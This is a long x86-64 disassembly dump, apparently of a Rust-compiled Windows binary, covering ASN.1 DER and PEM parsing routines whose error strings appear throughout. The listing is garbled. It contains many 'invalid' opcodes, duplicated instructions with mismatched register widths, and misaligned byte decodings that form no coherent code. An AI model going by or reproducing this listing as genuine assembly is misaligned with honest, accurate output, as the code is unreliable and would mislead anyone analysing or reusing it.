mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne case.0x1400402b0.206
cmp dword [rax], eax
je case.0x1400402b0.206
test byte [rsi + 0x34], 4
jne case.0x1400402b0.206
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
lea edx, [0x1400df555]
lea edx, [0x1400df555]
ja 0x140047e17
ja 0x140047e17
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add bh, bh
push rax
call qword [rax + 0x18]
test al, al
jne 0x140047e3a
sbb byte [rax + rax*8 - 0x74b7e18b], al
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140047e3a
sbb byte [rcx - 0x76fd143d], cl
retf
ret
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
invalid
int3
movzx eax, byte [rcx]
lea rcx, [0x1400e6f30]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
invalid
add byte [rax], al
lea rax, str.operation_failedpw_r_
std
clc
or byte [rax], al
std
clc
or byte [rax], al
jmp case.0x14005ef25.268
or byte [rax], al
jmp case.0x14005ef25.268
add byte [rax - 0x73], cl
add al, 0x48
mov dword [rsp + 0x68], eax
and al, 0x68
add rsi, 8
mov qword [rsp + 0x58], rsi
pop rax
je 0x140047ec9
pop rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [0x140048320]
mov qword [rsp + 0x78], rax
and al, 0x78
push 0x24448948
jo 0x140047ef9
and al, 0x78
and al, 0x78
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
add byte [rax], 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x88], rax
lea rax, str.ASN.1_DER_message_is_incomplete:_expected___actual
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8f910
invalid
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x39], cl
and al, 0x28
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
add al, byte [rax]
add byte [rax], al
jmp 0x140048152
inc rsi
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x140047d40]
mov qword [rsp + 0x78], rax
lea rax, str._bx_r_
lea eax, str._bx_r_
invalid
lea eax, str._bx_r_
jmp 0x140048282
add byte [rax], al
lea rax, str._x_r_
lea eax, str._x_r_
lea eax, str._x_r_
sub al, 0xf9
or byte [rax], al
jmp case.0x14005ef25.268
mov dword [rsp + 0x58], esi
and al, 0x58
pop rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
and al, 0x70
lea rax, case.0x140041cc2.138
lea eax, case.0x140041cc2.138
invalid
dec dword [rax - 0x77]
and al, 0x78
invalid
mov qword [rsp + 0x78], rax
js 0x140047f88
lea rax, str.Xx_r_
lea eax, str.Xx_r_
stc
or byte [rax], al
jmp 0x140048282
mov dword [rsp + 0x58], esi
je case.0x14004753d.328
pop rax
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
lea rax, case.0x140041cc2.138
mov qword [rsp + 0x78], rax
and al, 0x78
invalid
and al, 0x78
lea rax, str.ASN.1__not_canonically_encoded_as_DER
add eax, 0x8f938
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
and al, 0x28
sub byte [rdx], al
add byte [rax], al
add cl, ch
or eax, 0x48000003
add byte [rax], al
lea rax, str.malformed_OID
add al, byte [rax]
add byte [rax], al
jmp 0x140048290
add byte [rax], al
lea rax, str.malformed_OID
or byte [rax], al
jmp case.0x14005ef25.268
wait
add byte [rax], al
add byte [rax - 1], cl
inc rsi
je 0x140047fba
pop rax
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
lea rax, [0x14003d3d0]
push rsp
invalid
dec dword [rax - 0x77]
and al, 0x78
js 0x140047ff6
lea eax, [0x1400d7908]
push rsp
invalid
js 0x140047ff6
lea eax, [0x1400d7908]
or byte [rax], al
jmp 0x140048282
leave
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, str.SET_OF_contains_duplicate
or byte [rax], al
lea eax, [0x1400d7938]
or byte [rax], al
jmp case.0x14005ef25.268
push 0xffffffff97058d48
stc
or byte [rax], al
jmp case.0x14005ef25.268
or byte [rax], al
jmp case.0x14005ef25.268
add rsi, 8
add esi, 8
or byte [rax - 0x77], cl
je 0x140048009
mov qword [rsp + 0x58], rsi
pop rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rax, case.0x1400477cd.78
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
mov qword [rsp + 0x78], rax
lea rax, str.PEM_error:
jmp 0x140048282
add byte [rax], al
add byte [rax], al
lea rax, [0x1400d79e0]
lea eax, [0x1400d79e0]
jmp case.0x14005ef25.268
lea rax, str.unknown_tag_mode0z_r_
add bl, ch
invalid
jmp case.0x14005ef25.268
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea eax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
fisttp qword [rcx]
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x30], rax
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
adc dword [rsp + 0x38], eax
adc dword [rsp + 0x38], eax
jmp 0x1400482ac
invalid
lea eax, [rsp + 0x68]
and al, 0x68
mov qword [rsp + 0x58], rax
pop rax
lea rax, [0x1400485e0]
mov qword [rsp + 0x60], rax
invalid
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
invalid
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x38
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x38], 2
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x40], 0
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
invalid
movabs rax, 0x800000020
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x50], 3
lea rax, str.unknown_unsupported_ASN.1_DER_tag:_0x
and al, 0x50
add ecx, dword [rax - 0x73]
add eax, 0x8fa6a
mov qword [rsp + 0x70], rax
and al, 0x70
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rax, [rsp + 0x20]
and al, 0x20
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x58]
and al, 0x58
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x70]
jmp case.0x140046e3e.168
invalid
add dword [rax], eax
invalid
and al, 0x68
and al, 0x68
add rsi, 8
add esi, 8
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x68]
push 0x24448948
jo 0x140048165
mov qword [rsp + 0x70], rax
lea rax, [0x140048320]
invalid
lea eax, [0x140048320]
add byte [rax - 0x77], cl
mov qword [rsp + 0x78], rax
and al, 0x78
lea rcx, [rsp + 0x58]
pop rax
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rax, str.trailing_data_at_end_of_DER_message:_decoded__bytes___bytes_remaining
lea eax, [0x1400d7b70]
sub al, 0xfa
or byte [rax], al
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
mov dword [rsp + 0x28], 3
and byte [rax - 0x39], cl
and al, 0x28
and al, 0x28
invalid
mov dword [rsp + 0x28], 3
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x70]
lea eax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
and al, 0x38
add al, byte [rax]
add byte [rax], al
jmp 0x1400482ac
mov dword [rsp + 0x58], esi
and al, 0x58
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x140048690]
mov qword [rsp + 0x78], rax
add eax, 0x89480000
and al, 0x78
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jmp 0x140048282
add cl, ch
in al, 0
add byte [rax], al
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
and al, 0x68
and al, 0x68
lea rax, str.xz_r_
lea eax, str.xz_r_
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
add eax, 0x9dbbd
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9dbbd
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
mov rdi, qword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
pop rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x20]
mov rcx, rdi
mov ecx, edi
mov rdx, rbx
call fcn.14003e1b0
test al, al
invalid
jne 0x140048259
sal byte [rbp + 0x6d], 0x80
jle 0x1400481f0
invalid
cmp byte [rsi + 1], 0x17
je 0x1400482ca
add byte [rax], al
add byte [rax], al
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
lea rax, case.0x140041cc2.138
mov qword [rsp + 0x78], rax
dec dword [rax - 0x77]
and al, 0x78
lea rax, str.expected
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 2
sub byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
sub byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
and al, 0x40
and al, 0x40
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
and al, 0x20
mov rcx, rdi
mov rdx, rbx
call fcn.14003e1b0
test al, al
je 0x1400482ca
invalid
mov al, 1
jmp 0x1400482be
and al, 0x58
mov qword [rsp + 0x70], rax
lea rax, case.0x140041cc2.138
idiv bh
dec dword [rax - 0x77]
and al, 0x78
lea rax, str.malformed_ASN.1_DER_value_for
stc
or byte [rax], al
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
add byte [rax], al
invalid
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
call fcn.14003e1b0
nop
add rsp, 0xa0
add byte [rax], al
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, case.0x140041cc2.138
mov qword [rsp + 0x78], rax
lea rax, str.got
test dword [rax], 0x44894800
and al, 0x20
mov qword [rsp + 0x28], 1
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
jmp case.0x140046e3e.168
invalid
cmp dh, dl
invalid
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
movzx esi, word [r8 + rsi*2]
jo 0x140048400
mov dword [rsp + r11 + 0x2f], esi
jo 0x140048400
mov dword [rsp + r11 + 0x2f], esi
invalid
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140048360
cmp rdx, 0x63
jbe 0x1400483de
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
retf 0xe9c1
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
push rsp
add al, 0x2f
invalid
push rsp
add al, 0x2f
invalid
invalid
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x1400483fb
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x140048409
invalid
sbb dword [rax - 0x77], ecx
retf 0x8348
invalid
cmp edx, 0x63
ja 0x1400483b4
jmp 0x1400483de
movzx ecx, word [r8 + rdx*2]
mov bh, 0xc
push rax
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
lea ecx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
invalid
add byte [rax], al
add byte [rax + 0x29], cl
ret 0x8948
push rsp
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
add eax, 0x9d956
invalid
ret 0x8948
add eax, 0x9d956
mov rcx, r9
mov dl, 1
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call fcn.14003d720
nop
add rsp, 0x58
pop rdi
pop rsi
ret
sub rsp, 0x68
mov rax, qword [rcx]
movzx ecx, byte [rax]
lea r8, [0x1400e6f90]
lea eax, [0x1400e6f90]
lea eax, [0x1400e6f90]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
and al, 0x20
lea rax, [rsp + 0x20]
and byte [rax - 0x77], cl
and al, 0x28
and byte [rax - 0x77], cl
and al, 0x28
lea rax, [0x14005e3d0]
mov qword [rsp + 0x30], rax
lea rax, str.PEM_Base64_error:
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
mov qword [rsp + 0x40], 1
jmp 0x1400485ac
sbb byte [rax - 0x73], cl
adc eax, 0x916a3
mov r8d, 0x1c
sbb al, 0
add byte [rax], al
jmp 0x140048571
lea rdx, [0x1400d9b64]
mov r8d, 0x1e
jmp 0x140048571
add rsp, 0x68
jmp rax
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.14003e1b0
nop
add rsp, 0x68
ret
and al, 1
add byte [rax - 0x7d], cl
jl 0x140049977
add byte [rax - 0x75], cl
and al, 0x48
je 0x140049977
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14004997e
test rcx, rcx
jne 0x140049985
call fcn.14003bdd0
ud2
pop rbx
and al, 0xff
dec dword [rdi]
or ecx, dword [rax - 0x77]
invalid
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a42a0
ud2
mov rdx, r12
call fcn.14004b840
test al, al
je 0x140049b4e
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x30]
movzx eax, word [rdi + 0x50]
movzx ecx, byte [rdi + 0x52]
push r10
push r10
shl ecx, 0x10
or ecx, eax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rcx, qword [rsp + 0x48]
mov r9, rbp
jmp 0x140066023
add byte [rax - 0x75], cl
push rdi
xor byte [rax - 0x73], cl
lea eax, [rdx - 1]
jmp 0x140066023
lea eax, [rdx - 1]
cmp rbp, rax
jne 0x140049b60
jmp 0x140049c86
mov rdx, qword [rdi + 0x30]
lea rax, [rdx - 1]
cmp rbp, rax
je 0x140049bfd
nop
cmp rdx, r13
jbe 0x140049cb8
imul rbp, r13, 0x38
add rbp, qword [rdi + 0x20]
mov rcx, r15
mov rdx, r12
call fcn.140081170
test rax, rax
je 0x140049bfd
mov r8, rdx
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.14003f1f0
cmp qword [rsp + 0x50], 0
add byte [rbp + 0x64], dh
add byte [rbp + 0x64], dh
mov r8, qword [rsp + 0x58]
movzx eax, word [rdi + 0x50]
push rax
push rax
movzx ecx, byte [rdi + 0x52]
shl ecx, 0x10
or ecx, eax
mov r9, qword [rsp + 0x60]
add r9, r8
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], 0
mov rcx, rbp
mov dl, 1
call fcn.14004b8f0
test al, al
jne 0x140049bfd
mov r8, qword [rdi + 0x30]
lea rax, [r8 - 1]
cmp r13, rax
jne 0x140049c29
nop dword [rax + rax]
cmp byte [rdi + 0x53], 0
je 0x140049c86
test rbx, rbx
test ebx, ebx
je 0x140049c11
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call r14
mov rdx, qword [rdi + 0x30]
test rdx, rdx
je 0x140049c5f
mov rdx, qword [rdi + 0x20]
inc r13
movzx eax, word [rdi + 0x50]
movzx ecx, byte [rdi + 0x52]
shl ecx, 0x10
or ecx, eax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rcx, qword [rsp + 0x48]
mov r9, r13
call fcn.140049d00
test rbx, rbx
jne 0x140049c02
mov byte [rsi + 0x20], 3
jmp 0x140049c9e
add dh, byte [rsi + rbx*2 + 0x48]
add eax, ecx
add rax, 8
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov qword [rsi + 0x20], r13
jmp 0x140049c9e
outsb dx, byte [rsi]
and bl, ch
sbb byte [rcx + rcx*4 + 0x3e], cl
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x18], rax
invalid
invalid
sbb sil, r8b
and byte [rdx], r8b
mov byte [rsi + 0x20], 2
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
in eax, 8
add bl, ch
invalid
lea r8, [0x1400d82c0]
or byte [rax], al
mov rcx, r13
call fcn.1400a4430
ud2
mov dword [rsp + 0x80], eax
cmp r9, r8
jae 0x14004b6cb
mov rbx, rdx
mov qword [rsp + 0x38], rcx
mov eax, dword [rsp + 0x7a0]
and al, 0xa0
invalid
add byte [rax], al
mov dword [rsp + 0x54], eax
and al, 0x54
mov rsi, qword [rsp + 0x798]
mov ah, 0x24
cwde
invalid
add byte [rax], al
mov rdi, qword [rsp + 0x790]
invalid
add byte [rax], al
mov qword [rsp + 0x98], r9
add byte [rbp + 0x6b], cl
int1
cmp byte [rax - 0x77], cl
mov ecx, edi
and al, 0xa0
invalid
mov ah, 0x24
cwde
invalid
invalid
mov ecx, edi
mov rdx, rsi
call fcn.14004b840
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0xd8]
add byte [rax - 0x77], cl
jl 0x140049d92
js 0x140049db8
mov edx, edi
add byte [rax - 0x77], cl
jl 0x140049d92
js 0x140049db8
mov edx, edi
mov qword [rsp + 0x58], rsi
mov r8, rsi
invalid
call fcn.140081620
lea rdx, [0x1400e0e8b]
lea rcx, [rsp + 0x118]
mov r8d, 1
call fcn.140081620
mov rsi, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x120]
cmp rsi, rdi
mov qword [rsp + 0x88], rbx
jne 0x140049e15
invalid
movzx eax, byte [rsp + 0x110]
cmp al, byte [rsp + 0x150]
jne 0x140049e15
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rdx], bh
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rbp + 0x4e], dh
cmp byte [rsp + 0x111], 2
jne 0x140049e15
cmp byte [rsp + 0x151], 2
jne 0x140049e15
cmp byte [rsp + 0xe8], 3
setb al
cmp byte [rsp + 0x128], 3
setb cl
xor cl, al
jne 0x140049e15
invalid
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x118]
add byte [rcx - 0x77], cl
invalid
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
ror byte [rdi], 0x84
int3
or al, byte [rax]
invalid
add byte [rdi], cl
mov dh, 0x84
and al, 0xe8
call 0x17c049e1e
invalid
movzx eax, byte [rsp + 0xe8]
cmp al, 6
invalid
je 0x140049e51
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x24f], rcx
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0xe9], al
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0xe9], al
movups xmm1, xmmword [rsp + 0xf9]
movaps xmmword [rsp + 0x240], xmm1
movaps xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0xa8], r14
mov r11, qword [rsp + 0xd8]
movzx ecx, byte [rsp + 0x112]
movzx edx, byte [rsp + 0x110]
movzx r8d, byte [rsp + 0x111]
movaps xmm0, xmmword [rsp + 0x230]
movaps xmm1, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x210], xmm1
mov r9, qword [rsp + 0x24f]
mov qword [rsp + 0x21f], r9
mov r10, qword [rsp + 0x118]
movzx r9d, byte [rsp + 0x128]
cmp r9b, 6
je 0x140049ef1
mov rbx, qword [rsp + 0x148]
mov qword [rsp + 0x4cf], rbx
movups xmm0, xmmword [rsp + 0x129]
movups xmm1, xmmword [rsp + 0x139]
movaps xmmword [rsp + 0x4c0], xmm1
movaps xmmword [rsp + 0x4b0], xmm0
movzx ebx, byte [rsp + 0x152]
movzx ebp, word [rsp + 0x150]
mov r14, qword [rsp + 0x4cf]
mov qword [rsp + 0x260], r14
movaps xmm0, xmmword [rsp + 0x4b0]
movaps xmm1, xmmword [rsp + 0x4c0]
movups xmmword [rsp + 0x251], xmm1
movups xmmword [rsp + 0x241], xmm0
mov qword [rsp + 0x4b0], r11
mov qword [rsp + 0x4b8], rsi
mov byte [rsp + 0x4c0], al
movaps xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x4c1], xmm0
movups xmmword [rsp + 0x4d1], xmm1
mov rax, qword [rsp + 0x21f]
mov qword [rsp + 0x4e0], rax
mov byte [rsp + 0x4e8], dl
test byte [rax + riz*8], ah
add al, 0
add byte [rax + 0x4e82494], cl
add byte [rax], al
mov byte [rsp + 0x4e9], r8b
mov byte [rsp + 0x4e9], al
mov byte [rsp + 0x4ea], cl
mov qword [rsp + 0x230], r10
mov qword [rsp + 0x238], rdi
cmp byte [rdx], al
add byte [rax], al
cmp byte [rdx], al
add byte [rax], al
mov byte [rsp + 0x240], r9b
mov word [rsp + 0x268], bp
mov byte [rsp + 0x26a], bl
add byte [rsi - 0x77], ah
lodsb al, byte [rsi]
and al, 0x68
add al, byte [rax]
add byte [rax + 0x26a249c], cl
add byte [rax], al
xor r15d, r15d
nop dword [rax + rax]
lea rcx, [rsp + 0x1c8]
lea rdx, [rsp + 0x4b0]
call fcn.14007f370
movzx edi, byte [rsp + 0x1c8]
add byte [rbx - 0x7bf0f501], al
sub al, byte [rcx]
add byte [rax], al
add byte [rbx - 0x7bf0f501], al
sub al, byte [rcx]
add byte [rax], al
movzx esi, byte [rsp + 0x1c9]
mov rbx, qword [rsp + 0x1d0]
mov rbp, qword [rsp + 0x1d8]
mov r13, qword [rsp + 0x1e0]
and al, 0xe0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add al, byte [rax]
add al, ch
push r11
add eax, dword [rax]
and al, 0xe0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add al, byte [rax]
add al, ch
push r11
add eax, dword [rax]
movzx eax, byte [rsp + 0x190]
cmp al, 0xa
je 0x14004a10c
lea ecx, [rdi - 6]
movzx ecx, cl
leave
lea r8, [rcx + 1]
cmp cl, 4
cmovae r8, r15
lea r9d, [rax - 6]
movzx ecx, r9b
lea rdx, [rcx + 1]
cmp cl, 4
add al, 0x49
cmovae edx, edi
cmp r8, rdx
jne 0x14004a10c
add byte [rax], al
invalid
xor eax, eax
jmp 0x14004a130
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x230]
call fcn.14007f370
cmp byte [rsp + 0x190], 0xa
sete al
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0xa8]
mov byte [rsp + 0x1c8], al
mov qword [rsp + 0x230], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov r12, qword [rbx + r14 + 0x28]
test r12, r12
je 0x14004a30d
lea rbp, [rbx + r14]
lea rax, [rbx + r14]
add rax, 0x18
mov qword [rsp + 0xc0], rax
mov r13, qword [rbx + r14 + 0x18]
shl r12, 5
add r12, r13
mov r15d, 1
xor edi, edi
lea rsi, [rsp + 0x230]
lea r14, [rsp + 0x4b0]
jmp 0x14004a1d4
mov esi, 1
xor edi, edi
xor r14d, r14d
xor ebx, ebx
movzx ebp, byte [rsp + 0x1c8]
test bpl, bpl
je 0x14004a4a8
mov al, 1
jmp 0x14004a140
add rsp, 0x728
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx r8d, byte [rsi - 0x10]
cmp r8b, 2
je 0x14004b4f6
mov r9, qword [rsi - 0x18]
movups xmm0, xmmword [rsi - 0x28]
mov r10d, dword [rsi - 0xf]
mov r11d, dword [rsi - 0xc]
mov dword [rsp + 0x233], r11d
mov dword [rsp + 0x230], r10d
mov qword [rcx - 0x28], 0
movups xmmword [rcx - 0x20], xmm0
mov qword [rcx - 0x10], r9
mov byte [rcx - 8], r8b
mov r8d, dword [rsp + 0x230]
mov r9d, dword [rsp + 0x233]
mov dword [rcx - 7], r8d
mov dword [rcx - 4], r9d
mov r8, qword [rsp + 0x98]
mov qword [rcx], r8
inc rdx
add rsi, 0x20
add rdi, 0x20
add rcx, 0x30
cmp rdi, 0x20
jne 0x14004b350
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x10], rdx
cmp qword [rsp + 0x70], 0
je 0x14004b3f0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 0x10], 0
je 0x14004a9ac
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rax]
lea rdx, [0x1400d84a0]
call fcn.1400495c0
test al, al
je 0x14004a9ac
mov ecx, esi
call fcn.14004c710
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 0
movups xmm0, xmmword [rsp + 0x230]
movups xmm1, xmmword [rsp + 0x240]
movups xmmword [rax + rcx + 8], xmm0
movups xmmword [rax + rcx + 0x18], xmm1
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
mov dword [rax + rcx + 0x28], 0xffffffff
mov dword [rax + rcx + 0x28], 0xffffffff
inc rdx
mov qword [rsi + 0x10], rdx
jmp 0x14004b5ae
lea rcx, [rsi - 8]
